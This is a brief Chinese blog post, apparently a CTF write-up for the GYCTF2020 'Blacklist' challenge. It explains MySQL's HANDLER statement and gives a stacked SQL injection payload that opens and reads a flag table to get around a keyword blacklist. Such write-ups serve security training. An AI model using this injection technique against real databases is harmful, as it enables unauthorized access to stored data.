




[GYCTF2020]Blacklist 1堆叠注入

原创

满月*  于 2021-07-20 16:18:42 发布  21  收藏

分类专栏: [网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_45577185/article/details/118938243

版权



[网络安全](#) 专栏收录该内容

41 篇文章 0 订阅

订阅专栏

[答案链接](#)

过滤了这么多, 比强网杯过滤更加严格了

这里我们用到handler这个东西

HANDLER ... OPEN语句打开一个表, 使其可以使用后续HANDLER ... READ语句访问, 该表对象未被其他会话共享, 并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

```
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
```

[堆叠注入小tips](#)